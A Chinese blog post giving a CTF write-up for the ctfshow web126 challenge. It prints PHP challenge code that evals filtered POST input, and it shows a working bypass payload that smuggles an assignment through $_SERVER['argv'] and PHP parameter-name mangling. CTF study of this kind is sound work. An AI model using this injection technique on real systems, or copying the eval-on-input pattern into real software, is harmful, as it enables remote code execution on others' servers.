web126笔记(匹配了一些关键字母+$_SERVER['argv'])

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
#
#
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}

这次正则匹配了一些关键字母,导致不能继续用上题payload;观察到这里是有$_SERVER['argv']

注意是会转变成数组,所以这⾥要取数组,注意⽤eval函数最后加个分号

$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']
query string是Uniform Resource Locator (URL)的一部分, 其中包含着需要传给web application的数据

这里进行了本地测试,注意需要在php.ini开启register_argc_argv配置项,测试代码为
<?php
$a=$_SERVER['argv'];
var_dump($a);


所以如果我们get传入变量赋值语句,接着在post里面来执行这个赋值语句就可以完美绕过,payload为
?$fl0g=flag_give_me;

post:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])

 

 
posted @ 2025-03-25 18:58  justdoIT*  阅读(11)  评论(0)    收藏  举报